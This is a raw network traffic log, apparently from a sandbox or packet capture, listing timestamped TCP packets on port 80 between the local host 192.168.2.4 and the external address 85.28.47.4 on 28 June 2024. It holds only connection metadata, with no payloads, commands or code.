Jun 28, 2024 22:32:05.048772097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.048779964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.048816919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.049196005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.049206972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.049216986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.049226999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.049237013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.049242020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.049247026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.049290895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061239004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061278105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061290979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061312914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061359882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061408043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061419010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061453104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061532021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061542988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061578989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061676979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061686993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061718941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061758041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061868906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061877966 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061887980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061897039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061906099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.061914921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.061956882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062140942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062151909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062163115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062184095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062196970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062207937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062211037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062218904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062227964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062242985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062287092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062685013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062695026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062705040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062740088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062741995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062750101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062751055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062760115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062771082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.062791109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062823057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.062865973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.063240051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063250065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063291073 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.063478947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063488960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063498020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063508034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063519955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063519955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.063529015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063539028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063548088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063558102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063559055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.063568115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.063597918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.063622952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.064311981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064321995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064330101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064340115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064349890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064358950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.064359903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064371109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064380884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064390898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064399958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.064402103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064412117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064420938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064430952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.064430952 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.064444065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.064474106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.065290928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065305948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065315008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065325975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065335989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065345049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.065346956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065356016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065366983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065367937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.065377951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065387964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065392017 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.065398932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065409899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.065414906 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.065466881 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.065490961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.066268921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066278934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066287994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066298008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066308022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066318035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066319942 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.066325903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066335917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066345930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066355944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066363096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.066365004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066375971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066385031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.066386938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.066411972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.066437006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.134572983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.134623051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.134630919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.134634018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.134669065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.134756088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.134767056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.134778023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.134788990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.134802103 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.134843111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.134999037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135045052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.135056973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135104895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.135144949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135190010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.135271072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135282040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135293007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135310888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.135334015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.135488987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135499954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.135536909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.140676022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.140746117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.140755892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.140779018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.140794992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.140822887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.140872955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.140907049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.140923023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.140952110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.140960932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.140995026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141002893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141037941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141144991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141180992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141191959 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141227007 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141288996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141304016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141321898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141329050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141350985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141377926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141521931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141531944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141542912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141571045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141612053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141797066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141808987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141819954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141829967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141840935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141851902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141855001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141870975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141880989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.141894102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.141921043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.153983116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154043913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154053926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154067039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154118061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154144049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154155970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154190063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154268980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154279947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154355049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154422045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154433012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154468060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154511929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154521942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154560089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154639006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154652119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154664040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154676914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154690027 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154731035 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.154979944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.154990911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155002117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155013084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155024052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155035019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155039072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.155061960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.155086040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.155394077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155405998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155416965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155428886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155441046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155452967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.155456066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155487061 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.155534029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.155919075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155930042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155941963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155952930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155962944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155972958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.155981064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.155992031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156002998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156011105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.156014919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156025887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156037092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156040907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.156049013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156050920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.156075954 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.156099081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.156923056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156939983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156950951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156961918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156974077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156974077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.156985044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.156995058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.156995058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157007933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157018900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157031059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157036066 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.157041073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157052994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157061100 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.157063961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157090902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.157114029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.157891035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157902956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157916069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157927990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157938004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157944918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.157948971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157960892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157973051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157979965 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.157984018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.157996893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158008099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158009052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.158020973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158030987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.158031940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158055067 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.158078909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.158792973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158803940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158813953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158823967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158833027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158843040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158849955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.158853054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.158886909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.158905983 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.197314978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.202089071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383613110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383740902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383752108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383794069 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.383891106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383902073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383912086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383919001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.383923054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383934975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.383943081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.383974075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.384268045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384315968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.384413958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384424925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384460926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.384557009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384572029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384582996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384593010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384601116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.384645939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.384696007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384706974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384716034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384743929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.384764910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.384833097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384844065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384852886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.384881020 CEST	49731	80	192.168.2.4	85.28.47.4
